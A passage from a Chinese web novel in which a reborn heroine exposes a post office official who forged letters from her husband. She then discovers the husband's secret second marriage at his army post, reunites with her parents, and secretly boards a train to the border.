姜念轻蔑的笑了声:“我瞎说?你档案都被记了一笔吧?你们要是不信,去问问派出所喽。”
“什么派出所,洋哥,她就是笃定你们不敢问才故意往我身上泼脏水的,只要兄弟们帮我出气,好处少不了你们的。”
一听到有好处,小混混们来了精神,纷纷摩拳擦掌把姜念围住。
姜念指尖夹着密密麻麻的银针,警惕地后退,刚准备动手就见从房顶上突然跳下来两个人高马大的人,噼里啪啦逮着他们揍了一顿。
小混混们疼得四仰八叉,顾晴和王洋趁机溜走,那两个人分出一个去追,另一个赶紧跑到姜念身边:“嫂、咳,同志,你没事吧?”
差点嘴瓢。
可姜念还是听到了,犹豫问:“你刚才喊我嫂子,你们是部队出来的?”
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难道是顾向南部队里的?
在原书中,顾向南的确有结交了两个好兄弟,貌似家乡也是在县附近。
那人愣了愣,裴处说过不能暴露身份的啊,可嫂子好聪明啊,只能装傻充楞。
“哈哈,同志你听错了,这是我家乡话就是同志的意思,我们刚好路过,得扭送这群人回派出所了,再见哈。”
姜念皱着眉想了一路,再回招待所时候难免耽误了时间,擦肩而过时就听前台工作人员嘀咕着怎么还不回来,火急火燎的要出去,看到她却诡异地平静了下来。
“同志你终于回来了啊。”
姜念奇怪回头:“你在等我吗?”
工作人员猛摇头:“不是不是,我家里有事。”
姜念点头上了楼,殊不知,工作人员在她走后就打了个电话出去。
“今天晚回来了半个小时,嗯,人没事,您放心。”
时间**,红旗村顾家。
吴桂花花了吃奶的劲才把顾永福拖回了屋里,胡乱的往他身上抹了药看他醒过来才松了口气。
紧接着又对姜念破口大骂。
骂着骂着,吴桂花忽然觉得有哪里不对劲。
先前情急没感觉出来,可刚才男人都牵了姜念的手,两个人亲密的不像话。
她浑身一个激灵:“你说,姜念不会看上了她表哥,两个人一起跑了吧?”
顾永福看**一样看她:“她要是想跑早就跑了,还用的着等到现在?别忘了,姜念可是非咱们家向南不可。”
吴桂花想想也是:“那她要去给向南打电话,要是被她发现了那件事,可就完了。”
“邮局里有你弟弟你怕什么?”
“那我这就去县里给他说一声。”
“去吧,”顾永福冷笑,“等这件事了了,咱们再好好收拾她。”
县里招待所。
姜念回了房间,写了一封对吴国强的**,一起放进了饼干盒子里。
这里面都是吴国强代替顾向南给她写的信,幸亏她留了个心眼,没放在顾家这才没被一把大火烧掉。
最近正在严改,她想吴国强的对家应该会很开心看到这些东西。
她故意提顾向南打电话,就是为了引吴国强出来,想必这时候吴桂花他们已经联系上吴国强了……
姜念嘴角忍不住的勾起,好期待明天啊。
第二十九章 打脸吴国强,复仇1
第二天中午,吴桂花和瘸了腿,被打的鼻青脸肿的顾永赶到了邮局,陪着他们的赫然是吴国强。
姜念发现吴国强脸色很难看。
吴国强最近的确很烦躁,他听到风声上头有人要来邮局突击检查,这两天他忙的脚不沾地,恨不得把自己劈成两半来用。
可偏偏这时候吴桂花为了屁大点的事找上他哭天喊地的,非让他帮忙,吴国强简直一个头两个大。
要不是他刚从顾向南那儿得了几个点心秘方才懒得掺和这事。
想到这里,吴国强嫌弃地瞥了姜念一眼。
“当长辈的说你几句你就闹死闹活地找你男人告状,亏你还是从城里来的,心眼子怎么这么小?这么不识大体?”
“怪不得顾向南三年都不回来一次,要换成我,我也不乐意看你这种怨妇一眼。”
吴国强毫不客气的数落姜念,原本以为对方还跟以前那样任由他骂,可谁知他听到了姜念说:“你妈**。”
吴国强怀疑自己听错了:“你说什么?”
姜念平静地看他:“年纪大了耳朵不好使?我说你妈**。”
吴国强怒火蹭一下冒出来:“姜念,我是你长辈,你居然敢这么跟我说话?”
“我哪里说错了?你妈不是早**吗?被你抢家产气死的,别这么瞪着我,我都是听我婆婆说的。”
反正这是吴国强最后一次这么嚣张了,趁着还没被关进去,姜念当然是有怨报怨,有仇报仇了。
“我婆婆埋怨你们妈偏心,不给她分家产,还说你就是个上门女婿,靠着吃你老婆的软饭才舔到了邮局的领导,要不然你狗屁都不是。”
“你,你!”
吴国强气的脸色铁青,哆嗦着指着姜念说不出话来。
他没怀疑姜念的话,因为**确是被他抢家产给气死的,当时姜念都没嫁进来,顾向南也还小,唯一知道这个秘密的就是他和吴桂花两个人。
要不是吴桂花跟姜念说了这件事,她怎么可能知道!
吴国强引以为傲的就是他从农村出来在城里当了领导,虽然有岳父的牵线搭桥可这都是他一步一个脚印走出来的!
可他这么有能力,在他亲妹子眼里只是个吃软饭的!
亏他这些年明里暗里接济了吴桂花不少!
还……
“姜念!你胡咧咧啥!我什么时候说这种话了!”
“哥,你别听她瞎说,你是我亲哥,我怎么可能这么说你。”吴桂花脸色就跟打翻了调色盘一样,红了青,青了黑,瞧着吴国强真信了,慌乱地解释。
姜念点点头:“是是是,你没说,是我记错了。”
那敷衍嘲讽的语调让吴桂花恨得牙痒痒。
见吴国强脸色还没好转,顾永福开口:“大舅哥,你可是向南的亲舅舅,多亏了你向南才能进了部队,咱们才是一家人,你别被这个女人挑拨了。”
听见顾向南,吴国强冷静了下来。
顾向南在部队里混的风生水起,他以后还得靠着这大外甥继续发达,暂时不能撕破脸:“算了,进来吧,我给你们拨电话。”
吴桂花赔着笑,恶狠狠地瞪着姜念。
姜念装傻:“妈,你怎么这么看着我,难道是我说错了,那你说大舅舅没本事不会生儿子,以后他们家的遗产啥的都是你儿子的…”
“你给我住嘴!我打死你!”吴桂花要扇姜念巴掌,被姜念轻易躲过去。
“哎呦,大舅舅已经听见了。”
吴国强开门的手死死攥住了钥匙,阴沉沉地扫了一眼心虚的吴桂花:“进来!”
等以后他再跟他们好好算账!
吴桂花讪笑:“我真没说过那些混账话,都是姜念看不惯咱们兄妹俩感情好,哥,你可别上当啊。”
姜念慢悠悠地说:“是是是,都是我在编瞎话,你爱信不信。”
“姜念!”
“嗯哼?”
“你,你不说话没人把你当哑巴!”
姜念这挑拨离间的手段实在是太稚嫩,但胜在好用啊。
没瞅见吴国庆脸黑的跟锅底一样了吗?
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姜念冷笑,上一世吴国强跟顾向南一家是坚不可摧的联盟,顾向南有了吴国强的金钱支持晋升更快,吴国强有顾向南当靠山,混的是如鱼得水。
可只要过了今天,这联盟可就要碎成渣滓了。
不仅兄妹俩出现了利益分歧最重要的是他吴国强马上就要被撸下来了。
吴国强把他们带去了自己的办公室,这里有台电话机,原则上不允许外人使用,但吴国强仗着自己是领导,总是大摇大摆的让他们用。
姜念垂眸,拨通了那烂熟于心的电话号码。
意料之内没人接听,再打几次后,终于有人接了,但顾向南没在,让有事留言。
吴国强不耐烦地看着手表:“好了好了,你电话也打了,话也留了,该满意了吧?你公公腿都瘸了还陪着你过来,你也该知足了,回去好好过日子去吧。”
顾永福碰了碰吴桂花,吴桂花才不情不愿劝了几句。
姜念根本没听,她通过门上的小窗户看外面的情况,在看到一群中山装径直往这里来时,立马带着哭腔大喊——
“舅舅你还要骗我多久,那边接电话的根本不是部队的接线员,分明是对你对象的侄子!”
“主任,这就是吴国强的办公室了……什么部队?吴国强,你怎么把人领到办公区了?”
这两句话几乎同时响起,门被邮局局长推开,身后是一群黑压压的领导。
吴国强脑子嗡的一声,后背瞬间爬满了冷汗:“对不住局长,我立马把他们带走。”
姜念却“不小心”踢翻了垃圾桶,在看到垃圾桶里飞出来的信件时,她猛地扑上去捡起来。
“舅舅!你怎么能把部队的信件给扔垃圾桶里!”
部队的信?
自己手下的人居然扔了部队的信?
邮局局长眼前一黑,完了!
他上一秒才跟县长保证了他们的领导班子没有一点问题,下一秒吴国强就狠狠打了他的脸,局长脸都绿了:“什么部队信件?吴国强,你都干了什么!”
第三十章 顾营长不是结婚了吗,怎么还有个爱人?
吴国强冷不防局长会过来,对上他身后黑压压的领导们,腿都软了:“局长,你别听姜念瞎说,我怎么敢拦部队的信件啊。”
“那她手里拿着的是什么?”
“我也不知道啊,我垃圾桶每天都清理,怎么可能有信件啊,估计是我这外甥媳妇跟我外甥闹矛盾,故意撒谎闹我们呢。”
“我严格遵守咱们的组织纪律,怎么可能犯这种错误?”
吴国强满头大汗的解释,一边给吴桂花他们使眼色。
吴桂花哪里见过这么多领导啊,结结巴巴说:“是,是。”
姜念不解释,她直接把信递过去:“局长,您自己看,这地址是不是部队驻地。”
上面自然是部队驻地,这可是姜念在进来的时候就丢进去的,如假包换。
局长低头一看,血立马冲到了头顶,对吴国强破口大骂:“吴国强,谁给你的豹子胆竟然敢丢部队的信,要是耽误了事,你能负责吗!”
“刘局长,这就是你说的你们局里的优秀员工?私自截停部队的信件,这样的人,你竟然还给他批了晋升的条子?”站在最中心的中山装领导沉声开口。
刘局长一脑门的汗:“县长,这件事我完全不知情,您放心,我一定会给您一个满意的答复。”
对方居然是县长!
吴国强可没资格见县长,听局长这就要把屎盆子扣在他头上,也顾不得帮着外甥遮掩了。
“县长局长您们误会了,这信根本不是从部队寄过来的,都是我伪造的,您要是不信,可以拆开看看,里面都是我的字迹。”
姜念浑身一震,满眼不可置信:“这怎么可能?这信分明是我对象写给我的!”
吴国强没给姜念一个眼风,见县长拆开信封,局长说的确是他的字后才松了口气,这样总不能给他扣私自截停部队信件的帽子了吧。
至于假装他外甥给姜念写信,顶多算私德有亏,最多被训斥几句,他受得住。
可他却低估了姜念的攻击力。
姜念一副被雷劈的样子说着“不可能……不是真的……”
又急急忙忙从自己的小兜里掏出了更多的信件:“领导你们看,这都是我对象给我写的信,地址和字迹都跟你们手里的一模一样,你们要是不信,总不能还不信这上头的邮票吧!”
吴国强连忙说:“部队寄信其实不用邮票,盖个章就行。”
姜念求证看向刘局长,刘局长点了点头:“是这样的。”
“那,那我这些信……”姜念欲语泪先流,“都是我舅舅假扮我对象写给我的吗?”
姜念皮肤本来就白,眼睛此时都哭红了,身子都晃了晃,像是下一秒就要碎了一样。
刘局长心生怜悯,暗骂吴国强怎么能做这么不要脸的事,不忍心再看下去了:“是,你,你先冷静点。”
姜念承受不住地摇头。
“冷静?哈哈,我只是个孤身下乡的知青,心甘情愿的投入到农村建设中,以为找到的**伴侣,一走就是三年,期间连个信都没给我写一封!”
“我给他伺候公婆小姑子,可他们一家子给我喂猪饲料!”
“我知道顾家是五好家庭,我对象顾向南是部队的兵,我也知道吴国强是高高在上的领导,而我只是个平头老百姓,我惹不起他们,可我不甘,不甘心啊!”
“天,他们竟然给人喂猪饲料!真是丧心病狂!”有人倒吸口气。
里面的人这才发现门口围了不少人。
姜念扑到县长面前,双腿一弯作势要给他跪下:“县长,求您帮帮我,求你帮帮我啊!”
众目睽睽下,县长哪能让她跪下啊,连忙给扶住了:“同志你放心,队伍里出现了这种毒瘤,我们一定会严肃处理。”
吴国强还在为自己没犯大错误沾沾自喜,下一秒他就听到这句话:“不是的县长,我给她写信完全是为了她好,我外甥太忙了没时间给她写信,这才打电话给我,让我替他写信安慰她的。”
众人:这话倒是有点道理……
姜念抽着鼻子:“是,没时间给我写信倒是有时间给你打电话。”
众人:也是。
吴国强咬牙:“姜念,你别蛮不讲理,这件事你公婆也知道。”
“对对对,我们都知道。”顾永福忙不迭说。
“所以,顾向南有时间给你们都通信,就没时间给我说一句话。”
姜念擦干了眼泪:“你们说
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的都不算,我要亲耳听顾向南跟我讲,县长局长,我能给部队再打遍电话吗?”
“当然……”
“不行!”吴桂花几人异口同声,神情慌张。
那边顾向南提前找好的人这会儿肯定走了,再打过去万一被别人接到了,顾向南在老家结过婚的事就瞒不住了!
“为什么不行?”
“这,我……”几人犹犹豫豫,吴国强强颜欢笑,“刚才不是打过了吗,向南没在部队啊。”
“怎么就这么巧,每次我打电话他都不在?不接电话不给我写信,三年来除了你们,没人能联系到他,逢年过节也不回家,”姜念说,“难不成顾向南已经**?”
众人觉得是有这种可能的。
烈士不想让家属难过才让家里人一起瞒着啥的,这种故事他们也不是没听到过。
然而吴桂花一听这话立马炸了:“你才**!我儿子才没死,你少咒他!”
顾永福忙拉住她,吴国强脑子飞快转着:“其实,向南是去参加秘密任务了,所以三年来才不能通信,至于叮嘱我们的话,是离开家前才跟我们说的。”
这样的解释倒是能说的通。
可这时候有人过来扬声:“吴主任,你外甥又给你寄了一大包的包裹,你签个字,咦,怎么这么多人?”
吴国强:……
打脸来的这么猝不及防,他还想编是别的外甥,可姜念一把薅过来,反手把面单递给大家看。
“这是从我对象部队那寄过来,听邮递员说‘又’,看来我男人根本没参加秘密任务,舅舅,你骗我就算了,还想骗局长和县长吗?”
“没没没,我,我……”
“别解释了,我给顾向南打电话问问就知道了。”
刘局长深吸一口气,霸气道:“来,你来打电话。”
姜念如愿打了电话,她握紧了手,背对着众人的双眼冰冷又锋利,刚接通她就快速精准地说:“我是x团x营x排顾向南的爱人姜念,我找顾向南。”
对面的接线员和监听员:???
接线员脱口而出:“顾营长?他不是早就结婚了吗?怎么还有个爱人?”
听到了免提的众人瞪大了眼:!!!
第三十一章 一环接一环,姜念要去找顾向南
悬着的心终于**,吴桂花白眼一翻直接晕了过去。
但没人在意。
所有人五雷轰顶,**,这是什么意思?
顾向南这是在部队娶了别的女人?
众人震惊到面面相觑,同情地看向姜念。
姜念瞳孔张大,身形晃了晃,欲语泪先流。
部队。
顾向南回去后眼皮子就一直跳,不放心赶回来听到姜念打过来的电话,后背惊出了一阵冷汗。
身体比脑子还快的抢在接线员前面挂断了电话。
他心乱如麻但在对上接线员两人震惊的目光时,强撑着解释:“这是我家里的一个远房亲戚,脑子不好使,天天想当新娘,但她是个姑娘家,两位同志帮帮忙,别说出去坏了她的名声。”
顾向南长得完全符合这个年代的审美。
国字脸,浓眉大眼,剑眉星目,一脸的正气样,再加上他是部队里出了名的兵王,仅仅三年就立了不少奇功,马上要晋升为副团长,能力和人品都没的说。
最主要的是人家可是娶了师长的千金,两人恩爱着呢,他们可不敢瞎说触霉头。
所以他们俩点头:“放心,我们都明白的。”
顾向南松了口气,周全道:“今天起我要去执行任务,如果我这个亲戚再打电话过来,你们直接挂了就好,我回来会跟我爸妈说的。”
“好。”
顾向南放心了,大步离开,他得求岳父再把他派出去出任务,躲一阵子。
两人这么说着,可在顾向南走了之后,接线员就小声嘀咕了:“脑子不好还能准确说出顾营长是哪个团哪个营的啊,该不会他在老家真跟别人结婚了吧?”
“嘘,这话自己想想就成了,不该管的事咱们别管。”
“说什么呢?偷偷摸摸的?”
他们正说着话,跟师长千金不对付的女同志推门进来,似笑非笑:“我刚在门口可都听到了,还不从实招来?”
……
姜念哭着打了一遍又一遍的电话,却被一遍又一遍的挂断,话筒脱手,偌大的办公室内,针落可闻,只剩下她低低的抽泣声。
“呵呵,怪不得三年不回家一次,原来他早在外头有了别的家,”姜念软倒在地,低低笑着,如泣如诉,声音悲凉的让大男人看了都揪心。
姜念缓缓看向吴国强,讽刺一笑:“舅舅堂堂一个邮局主任居然利用职位之便用假信件蒙骗我三年,跟旧时代拉皮条的老鸨有什么区别?”
被小辈说成老鸨,还是当着这么多人,吴国强气的脸色涨红:“你放肆,我可是你的长辈!”
“狗屁的长辈!”姜念激动起来,“县长,局长,吴国强能骗我就能骗其他人,能伪造信件就能篡改信件,咱们松山县这么大,说不定受害者不止我一个人,求你们一定要严查他!但凡他有一点以权谋私的行为,一定要当成典型去办!狠狠地办!”
“姜念你疯了,居然敢命令县长局长!”吴国强这下是真的慌了,帮外甥瞒外甥媳妇的事顶多算是家事。
可要是真查他,这么多年他做过的事……哪一点能经得起细查!
刘局长犹豫,毕竟吴国强是他手底下的兵,牵一发动全身,要真拔出萝卜带出泥岂不是他这当局长的没用?
可县长就在旁边看着,他……
看出他的犹豫,姜念刚要说话,几个县报和小报的记者硬是闯了进来。
“刘局长,听说你们邮局的领导居然篡改部队信件还帮着当兵的外甥抛弃糟糠另娶她人,这是真的吗,我们要求见当事人!”
“对,做出这种丧尽天良的事,我们一定要见当事人!”
“他既然敢篡改部队的信件就能篡改我们平头老百姓的信件,我们广大群众的切身利益正遭受着严重的威胁,我们十分质疑你们邮局的公正性,刘局长,你对此有什么要说的吗?”
好几个记者跟闻见了腥味的猫一样激动兴奋,七嘴八舌,一句又一句的质问刘局长。
对着记者们的**大炮,刘局脸色漆黑,这是把他架在火上烤了,事到如今,他没了一点退路!
“查,我一定会严查到底!诸位稍安勿躁,我们一定会给大家一个满意的答复!”
吴国强还想求饶却被人拖了下去。
县长本来就得了裴淮州的示意,又看到这一出,直接动了:“刘大头,我只给你三天,这三天你要是查不明白,就给我滚蛋!”
“是,您放心,我一定不让您失望!”
刘局长咬牙,吴国强给他惹了这么大的麻烦,他不会放过他!
吴国强以前仗着有个好岳丈一直作威作福,提携溜须拍马的,打压不服他管教的,如今树倒猢狲散,还没出去这个屋子,刘局长就听到了好几条他的
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罪行。
众人边说边往外走,顾永福不知道什么时候早就带着吴桂花跑了,刚才还挤得满满当当的屋子很快就只剩下姜念一个人。
姜念还跌坐在地上,低低地垂着睫毛,看起来可怜极了。
吴国强这一栽,名声彻底臭了,哪怕他岳丈再为他奔走,可有县长压着,他也起不来了。
她这一招,不仅报复了吴国强,揭穿了吴桂花顾永福的伪善,在顾向南部队那点了一把火,埋了雷,还断了他一条有力的臂膀,姜念本该畅快的,可却是恍惚居多。
欺负了她一辈子的人,就这么轻易被她拔除掉了,原来,他们也没那么不可战胜……
外头的小赵看到姜念一动不动,忍不住跟一直都在的裴淮州说:“您不跟姜同志说邮递员和记者都是您安排的吗?”
裴淮州一身驼色大衣,身姿笔挺,矜贵淡漠,惹得众人纷纷看过来,可自始至终他的目光都只在姜念身上。
“不用。”裴淮州声音嘶哑,心疼的看着姜念,微微抿紧了嘴。
他虽然不想承认,但他却在怕。
若是让念念知道是她在背后推波助澜让她认清了顾向南的真面目,她会怨他。
哪怕只有一点,他都承受不住。
“那您不进去陪着点?趁虚而,哦不,爱人就是常陪伴,您得抓紧机会啊。”
“不急,她需要缓一缓。”
理智告诉他要给姜念缓一缓的时间,可下一秒他就走了出去。
他不允许姜念再想那个狗东西哪怕再多一秒钟。
小赵欲言又止。
行,只有他是个小丑。
姜念目光中多了两条修长笔直的双腿,然后男人半蹲下,与她视线齐平,然后缓缓将她纳入怀抱,像是在对待稀世珍宝一样小心。
明目张胆拥她入怀,裴淮州发出一声喟叹:“念念。”
姜念一愣,随后也抱住了他,把头埋在了他清冽好闻的颈窝中。
是温的。
是啊,她能改变原书中的既定轨迹,也能改写裴淮州和爸妈他们的结局啊。
得到姜念回应,裴淮州眸色幽深加大了力道,他浑身的细胞都在咆哮着舒爽,血气翻涌,只有努力克制才没做出更吓人的动作。
然后他就听姜念说:“裴淮州,我要去部队找顾向南了。”
犹如一盆凉水兜头浇下,裴淮州僵住。
第三十二章 粘人的裴淮州仿佛一块望妻石
男人眼底深处的温情一寸寸凝结。
姜念只抱了抱他就松开,抬头对上男人那双深不见底的双眼时,打了个寒颤。
他像是藏在黑暗里的野兽,蓄谋已久,终于对着她这个猎物露出了冰冷锋利的獠牙。
可这是裴淮州啊,怎么会把她当成猎物呢?
“我刚才说要去找顾向南……”
裴淮州沉声打断她:“我不同意,顾向南婚内出轨,娶了别的女人,三年来却能瞒的死死的,可见他在那边有极大的助力,你一个人去边疆单打独斗,我不放心。”
他对上姜念不甘心的双眼,继续说:“顾向南作风恶劣的证据昭然若揭,一个**就能为你报仇,你何必大张旗鼓的去找他?只要切到他痛处,他怕是还要连滚带爬地跑来求你原谅。”
裴淮州盯着姜念,忽然轻声说:“边疆那么远,坐火车都要三天三夜,你会受不住的,别让我担心好吗?”
说这句的裴淮州温柔的不可思议,那双俊美的脸庞无奈又纵容的看着她,姜念心跳都仿佛漏掉了一拍。
这个家伙,知道自己这么帅吗?
姜念抿唇,有点后悔了,她不该跟裴淮州说去找顾向南的。
看裴淮州这架势,要是她再坚持恐怕要陪着他一起去边疆,势必会见到顾向南,万一她改变的剧情有限,岂不是在拿裴淮州的命冒险?
这绝对不行,裴淮州必须要好好的活着!
姜念心思百转千回,故意装作纠结一会儿才颓唐点头:“那好吧。”
“但我不想回顾家了,裴淮州,你说我回家好不好?我当年那么作,跟爸妈断绝了关系,伤透了他们的心,他们现在是不是还在怨我,还会认我这个女儿吗?”
姜念小脸满是忐忑,她真的是在害怕。
毕竟上一世这个时候,她实实在在伤透了爸妈的心。
裴淮州见她不再坚持见顾向南,心下大定,眼底也有了些笑意:“不会的,叔叔阿姨从小就疼你,你去找他们好好道个歉,他们会原谅你的,怎么会怨你?”
裴淮州很自然地用指腹擦掉她脸颊上的泪珠:“我陪你一起回去。”
姜念不太适应裴淮州对她这么亲昵,脸偏了偏,自己胡乱揉了揉胖乎乎的脸蛋。
裴淮州见她躲开,眸子深了深,他不动声色地收回手,慢慢捻着指腹,似乎在回味那软弹娇嫩的触感。
听到裴淮州要走的消息,小赵眼睛都瞪出来了:“裴处你不能走啊,大家伙可都离不开你。”
台阶来的刚刚好,姜念也接上:“你工作忙那我自己一个人回去也可以的,我回去好好陪陪爸妈,你在这里好好工作,等你忙完了随时回来,我一定去火车站迎你。”
小赵跟她提过一句,裴淮州接下来半个月都要忙地脚不沾地,刚好够她去一趟边疆,锤死顾向南婚内出轨另娶他人。
听姜念这么说,自己确实有要事要处理,裴淮州只能点头:“放心,我会尽快处理好事情,多多回去陪你。”
“嗯嗯,那我这就去跟我爸妈打电话。”
“好。”
可姜念跑了几步又重新跑回来,裴淮州微微俯身:“怎么了?”
姜念不好意思地吐吐舌头,拽上他的衣角:“你陪我一起啊,万一我爸妈还在生我的气,你可要帮我说好话。”
“毕竟打小我爸妈就总说你比我强一百倍,有你在,能帮我挡不少**。”
裴淮州想起小时候小姜念调皮,每次惹了祸都躲到他身后求庇护,一口一个裴哥哥的喊他,那鲜活灵动的样子,时隔多年,依旧清晰的刻在他脑海深处,从上曾褪色。
裴淮州眉眼舒展,看着她宠溺勾了勾嘴角:“好。”
“嘿嘿,我们走,你快点。”
两人走远,小赵子呲牙咧嘴,啧啧,真酸啊!
姜念打电话回去,接电话的就是她妈妈,妈妈把她骂了个狗血淋头。
“你个死丫头三年了才知道打电话,心怎么这么狠啊,亏我和你爸天天惦记着你,生你都不如生你块大饼!”
她妈妈一如既往的泼辣,语气凶得很,可姜念听着听着忍不住流了眼泪。
太好了,妈妈还活着,她还有妈妈……
“哎哟你少骂闺女两句,让我跟闺女说几句啊,”她爸爸抢过了电话,“念念啊,你这些年过的好不好,手里还有没有钱,爸之前给你汇了那么多款,你收到没有啊,可怜孩子,乡下那么苦,你肯定遭罪了。”
宋姨在旁边也插话:“念念啊,你怎么才打电话过来啊,你爸妈知道你上次打了电话过来,天天守着我这
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小卖部,就等着你的电话呢!”
姜念一肚子道歉的话在此刻都成了夺眶而出的泪水,哭的上气不接下气。
“爸妈,”她泣不成声,“我好想你们啊。”
听到她的哭声,她妈妈立马急眼了:“怎么哭了,是不是姓顾的一家子欺负你了?你等着,我和你爸连夜就坐火车找他们去。”
姜念哭的直打嗝,爸妈那边又急的一个劲的追问,还是裴淮州把电话接了过去,姜念忙抓住他,不让他把顾向南出轨的事说出去。
她抽泣着:“我回去亲口说,在电话他们会担心的。”
裴淮州点头:“放心。”
等事情说完,姜爸姜妈都放了心:“回来好,回来好,就买今天的票,不管多晚我们都去车站去接。”
恋恋不舍的挂了电话,姜妈风风火火去了供销社,期间挠了挠头:“我们是不是忘了什么?”
姜爸一拍脑袋:“鱼鱼鱼,念念最喜欢吃我做的红烧鱼!”
“赶紧去买。”
此时被锁在门外的姜家兄弟俩大眼瞪小眼:???
下午,姜念被裴淮州送上了火车,他抿着唇站在车窗口:“在车上别和陌生人说话,别吃陌生人给的东西,自己的东西要守好……丢了也没事,我补给你,人最重要。”
“嗯嗯,我知道,这些你都交代八百遍了呀。”
姜念被念得头大,拉上围巾搭住眼睛。
下一秒就被裴淮州拽了下来:“别蒙住嘴和鼻子,容易呼吸不畅。”
“嗯嗯知道啦,裴先生,”姜念敷衍趴在车窗上推他,“火车快开了,你走吧。”
裴淮州盯着她:“我还是去送你吧,你等我,我去买张票。”
姜念哎呀一声:“裴淮州你怎么这么磨叽呀……”
火车况且况且行驶起来,工作人员吹哨警示,姜念连忙拽下窗子:“走吧走吧。”
裴淮州追了几步,却追不上火车的速度,只能眼睁睁看着姜念离他原来越远。
他安静的伫立着,仿佛一块望妻石。
小赵看得又牙酸了。
这都没处上对象了,他们裴处就这么粘人,以后还了得啊。
就在他提醒裴处要走时,裴淮州转身,面无表情:“走吧。”
原本还想藏拙的,可他等不及了。
第三十三章 去边疆找顾向南
“啥,我姐要回来了?爸妈你们怎么不早说?”
姜家,姜家老三姜小飞气愤极了,老大姜明远默默跟在爸妈后面出了门。
“哥,你不讲义气,你们等等我啊!”
姜念一路忐忑,火车在晚上十点才到站。
家里很冷,夜风更硬,天空中飘起了雪花,视线受阻,姜念费劲挤出人群,在出站口终于看到了不断张望等她的爸妈大哥和小弟。
脚步顿时生了根一样走不动。
虽然知道爸妈他们这一世都还在,可在车上时她被噩梦惊醒多次,次次都爸妈兄弟被陷害惨死的模样,实在让她难心安。
好在,她总算看到了切切实实的家人,他们安然无恙,这就足够了。
“姐!你可算回来了!”姜小飞最先看到姜念,屁颠颠跑过去给了姐姐一个爱的抱抱,“在乡下肯定很吃苦……等等,姐你咋胖成这样了啊?”
几人忙跑过来,姜明远接过了姜念手里的行李:“回来就好。”
“哥。”姜念看着这一世鲜活的大哥,鼻头酸涩。
姜爸姜美仁眼泪汪汪的:“闺女瘦了,没事,家里爸爸给你做好了你最喜欢吃的糖醋小排和煎饺,咱们回家去,爸给你好好补补。”
姜小飞:???
“爸,你说的是中国话吗?我姐姐都大了两个号了。”
姜美仁理都没理他:“闺女啊,咱们回家,你妈她可想你了。”
姜念这才敢看她妈妈何萍,她从开始到现在都没跟自己说过话,是不是还在生她的气?
“妈……”她试探的喊着,只这一句就哽咽着说不出话来。
何萍板着脸:“你还知道回来,回来了也不知道多穿一点。”
她凶巴巴的给姜念戴上了围巾,可手上的动作却很仔细,不让一丝寒冷的风吹进她的脖颈。
姜念依恋地看着妈妈,看着妈妈脸上多了几条皱纹,鬓角也有了白发,眼泪忍不住夺眶而出,她扑进了妈妈的怀里。
仅仅三年妈妈就老了,她不敢想,上辈子没相见的妈妈是怎么一年一年熬过来的……
姜念的眼泪怎么擦也擦不干净,姜妈也流着眼泪给她擦了一遍又一遍,其余三人也都红了眼。
他们是生气姜念为了个男人狠心离家三年,可那点气随着时间慢慢转变成了牵挂和担忧。
如今看着姜念好端端地回家,就足够了。
姜念哭到眼睛红肿和头疼,晚上回去也没吃东西,给她收拾好的房间也没睡,硬是拽着妈妈睡了一晚上。
看着她哭着睡死过去,何萍替她擦走了眼角的泪水,这才开口:“闺女哭的这么伤心,怕是在顾家受了大委屈。”
姜美仁:“我明早就去给小裴打电话问问,闺女既然回来了,以后就别回去了,这几年知青陆续回城,我早早联系了人,有把握能把闺女调回来。”
“光调回来有什么用,我们得想办法帮闺女跟顾向南离婚。”
姜美仁一惊:“离婚?”
“没错,我要离婚。”
第二天的饭桌上,姜念说了来龙去脉,斩钉截铁说。
顾向南现在还是个普通的营长,吴国强被她拉下马自顾不暇,女首富也被她提前截下,他被她断了两条臂膀,早就不是上一世如日中天的政要大佬了。
更何况她在离开松山县时就写了三封**寄去了部队,内容一样,但被她分别寄去了三处地方。
一是给部队最高**,另外两个送去了部队家属院和部队医院。
她就不信顾向南手眼通天,能全都拦下来。
只要有一封被人瞧见,那对她来说就是绝对的有利。
毕竟她可是知道顾向南那领导爹可是最注重名声,一旦顾向南的事情败露,肯定会弃车保帅,保他自己!
姜家人久久回不过神来。
何萍沉默一瞬,拿出了姜念买的那张去边疆的火车票:“所以,你不是等顾向南回来,是准备一个人去边疆离婚?”
姜念看着这火车票,脸色一变:“这个我不是藏在包里……”
“我看你包里有衣裳想着给你洗一洗才找到的。”
姜美仁生气了:“你不准去
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,边疆又偏又远,要去也是我去,我倒要问问那个狗杂碎,凭啥这么糟蹋我闺女!”
姜小飞拍桌子:“我也去,我揍不死他!”
姜明远也道:“还是我去吧,爸和小弟你们太冲动了,脑子也直,怕是讨不了好。”
姜念看着他们争着要去见顾向南,仿佛看到了前世被顾向南陷害惨死的惨状,脸色惨白:“不可以,你们都不能去!”
她这话充满了惊恐,其余四人一头雾水地看过来,何萍感受到了姜念在发抖:“念念,你怎么了?手怎么出了这么多汗?”
“姐,你深呼吸,冷静下。”
“闺女喝点水,爸妈都在呢,你别怕,有事咱们一起解决。”
姜念心都是乱的,嘴唇发干:“我不去了,你们也不能去。”
她这状态实在不对,何萍带着她回屋,姜念手脚发凉抓着何萍的手死死不放:“妈,我害怕,你答应我,我们不去行不行?”
“好好好,不去,我们都不去。”
这么一会儿的时间,姜念出了一身冷汗。
虽然顾向南早已不是上一世如日中天的政要大佬,但她还是不敢让爸妈再冒一点险。
再次醒来,家里人都默契地没再提过这件事,姜念松了口气。
但总觉得自己忘了什么事情。
直到宋姨喊她去接裴淮州的电话,她才恍然。
她忘记给裴淮州打电话报平安了。
他应该没等自己一晚上吧?
“我等了你一晚上。”裴淮州幽怨的控诉。
姜念觉得裴淮州的怨气爬着电话线冲到了她这里,连忙道歉。
“没事,我再……”
“裴处,这里数据出现了错误。”
姜念连忙说:“我这几天要去外婆家,等回来再给你打电话哈。”
电话被匆匆挂断,裴淮州抿着唇凉飕飕看了小赵一眼:“继续验算。”
姜念观察了家里人很长时间,见他们都没再提过去边疆,把它抛之脑后才谎称去外婆家住几天,留下一封信后偷偷坐上了前往边疆的火车。
第三十四章 招摇过市,我男人是顾向南,不服来战!
绿皮火车人挤人,姜念被挤在硬座最里面,看着窗外飞速略过去的树木从郁郁葱葱变得枯黄干瘦,视线拉长,风景慢慢与上一世重叠。
她那时跟顾向南多年没见,从登上火车的那一刻就满怀期待他们相见的场景,想着等顾向南跟战友介绍她时,是大方的打招呼还是抿着唇内敛的微笑。
